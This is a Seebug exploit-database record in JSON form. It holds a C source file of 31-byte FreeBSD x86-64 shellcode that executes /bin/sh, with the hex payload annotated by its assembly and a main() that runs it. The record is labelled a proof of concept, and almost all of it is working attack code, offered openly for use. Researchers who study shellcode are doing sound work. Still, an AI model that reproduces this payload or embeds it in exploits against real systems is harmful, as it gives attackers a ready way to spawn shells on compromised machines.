Description
No description provided by source.
{"sourceData": "\n /** \r\n *\r\n * _ _ _ ____ _ _ \r\n * | | | | __ _ ___| | ___ __ | _ \\ ___ | | |\r\n * | |_| |/ _` |/ __| |/ / '_ \\ | |_) / _ \\| | |\r\n * | _ | (_| | (__| <| | | | | _ < (_) | | |\r\n * |_| |_|\\__,_|\\___|_|\\_\\_| |_| |_| \\_\\___/|_|_|\r\n * [ http://www.hacknroll.com ]\r\n *\r\n * Description:\r\n * FreeBSD x86-64 exec("/bin/sh") Shellcode - 31 bytes\r\n *\r\n *\r\n *\r\n * Authors:\r\n * Maycon M. Vitali ( 0ut0fBound )\r\n * Milw0rm .: http://www.milw0rm.com/author/869\r\n * Page ....: http://maycon.hacknroll.com\r\n * Email ...: maycon@hacknroll.com\r\n *\r\n * Anderson Eduardo ( c0d3_z3r0 )\r\n * Milw0rm .: http://www.milw0rm.com/author/1570\r\n * Page ....: http://anderson.hacknroll.com\r\n * Email ...: anderson@hacknroll.com\r\n * \r\n * -------------------------------------------------------\r\n * \r\n * amd64# gcc hacknroll.c -o hacknroll\r\n * amd64# ./hacknroll\r\n * # exit\r\n * amd64#\r\n *\r\n * -------------------------------------------------------\r\n */\r\n\r\nconst char shellcode[] =\r\n "\\x48\\x31\\xc0" // xor %rax,%rax\r\n "\\x99" // cltd\r\n "\\xb0\\x3b" // mov $0x3b,%al\r\n "\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68" // mov $0x68732f6e69622fff,%rdi\r\n "\\x48\\xc1\\xef\\x08" // shr $0x8,%rdi\r\n "\\x57" // push %rdi\r\n "\\x48\\x89\\xe7" // mov %rsp,%rdi\r\n "\\x57" // push %rdi\r\n "\\x52" // push %rdx\r\n "\\x48\\x89\\xe6" // mov %rsp,%rsi\r\n "\\x0f\\x05"; // syscall\r\n\r\nint main(void)\r\n{\r\n (*(void (*)()) shellcode)();\r\n return 0;\r\n}\r\n\r\n\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-18096", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-18096", "type": "seebug", "viewCount": 3, "references": [], "lastseen": "2017-11-19T19:01:24", "published": "2009-05-18T00:00:00", "cvelist": [], "id": "SSV:18096", "enchantments_done": [], "modified": "2009-05-18T00:00:00", "title": "freebsd/x86-64 exec(""/bin/sh"") shellcode 31 bytes", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": -0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.1}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645543440}}
{}